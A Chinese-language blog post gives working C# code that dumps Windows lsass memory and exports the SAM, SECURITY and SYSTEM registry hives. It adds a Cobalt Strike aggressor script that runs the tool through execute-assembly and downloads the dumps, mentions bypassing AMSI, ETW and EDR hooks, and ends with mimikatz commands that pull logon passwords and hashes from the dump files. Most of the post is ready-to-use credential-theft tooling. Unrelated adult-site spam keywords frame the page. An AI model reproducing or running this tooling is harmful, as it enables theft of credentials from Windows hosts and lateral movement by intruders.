国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

C# dump系統lsass內存和sam注冊表是怎樣的

發(fā)布時(shí)間:2021-09-27 17:50 來(lái)源:億速云 閱讀:0 作者:柒染 欄目: 開(kāi)發(fā)技術(shù) 歡迎投稿:712375056

這期內容當中小編將會(huì )給大家帶來(lái)有關(guān)C# dump系統lsass內存和sam注冊表是怎樣的,文章內容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

1、檢測權限

因為dump系統lsass內存和sam注冊表需要管理員權限,所以首先需要對當前進(jìn)程上下文權限做判斷。

public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative 
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass內存

MiniDumpWriteDumpMS DbgHelp.dll 中一個(gè)API, 用于導出當前運行的程序的Dump,利用MiniDumpWriteDump實(shí)現dump lsass內存的功能,先加載MiniDumpWriteDump函數。

[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", 
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, 
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint 
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr 
userStreamParam, IntPtr callbackParam);

之后調用函數,并保存dump文件,代碼如下所示:

namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(), 
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", 
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, 
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, 
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: 
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、實(shí)現reg save保存sam注冊表

首先導入需要用到的API。

[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
        public static extern int RegOpenKeyEx(
            UIntPtr hKey,
            string subKey,
            int ulOptions,
            int samDesired,
            out UIntPtr hkResult
        );

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern int RegSaveKey(
            UIntPtr hKey,
            string lpFile,
            IntPtr lpSecurityAttributes
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern int RegCloseKey(
            UIntPtr hKey
        );

然后構建函數,對"SAM", "SECURITY", "SYSTEM"注冊表進(jìn)行reg save。

namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | 
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); 
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件會(huì )被dumptemp目錄下,然后對所有dump成功的文件進(jìn)行打包處理,方便下載。完整代碼稍后上傳至知識星球。

4、關(guān)于ExecuteAssembly

ExecuteAssembly是CS可執行組件的一個(gè)替代方案,ExecuteAssembly基于C/C++構建,可以幫助廣大研究人員實(shí)現.NET程序集的加載和注入。

ExecuteAssembly復用了主機進(jìn)程spawnto來(lái)加載CLR模塊/AppDomainManager,Stomping加載器/.NET程序集PE DOS頭,并卸載了.NET相關(guān)模塊,以實(shí)現ETW+AMSI繞過(guò)。除此之外,它還能夠繞過(guò)基于NT靜態(tài)系統調用的EDR鉤子,以及通過(guò)動(dòng)態(tài)解析API(superfasthash哈希算法)實(shí)現隱藏導入。

當前metasploit-frameworkCobalt Strike都已經(jīng)實(shí)現了ExecuteAssembly功能,下面主要以Cobalt Strike為例,實(shí)現dump系統lsass內存和sam注冊表的功能

5、CS 插件

以結合 Cobalt Strike 為例,編寫(xiě)一個(gè)簡(jiǎn)單的cna腳本。

popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));
   
        }
    }
}

加載腳本后,執行SharpDump,結果如下所示:

下載存放在temp目錄下的dump.gz,然后使用Decompress解壓,最后使用mimikatz 解密用戶(hù)lsass.dmpsam文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 
lsadump::sam /sam:sam.hiv /system:system.hiv

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。

成人综合伊人五月婷久久| 日本老妇人乱XXY| 亚洲国产欧美人成| 无套内射CHINESEHD| 草草永久地址发布页①| 无码AⅤ在线观看|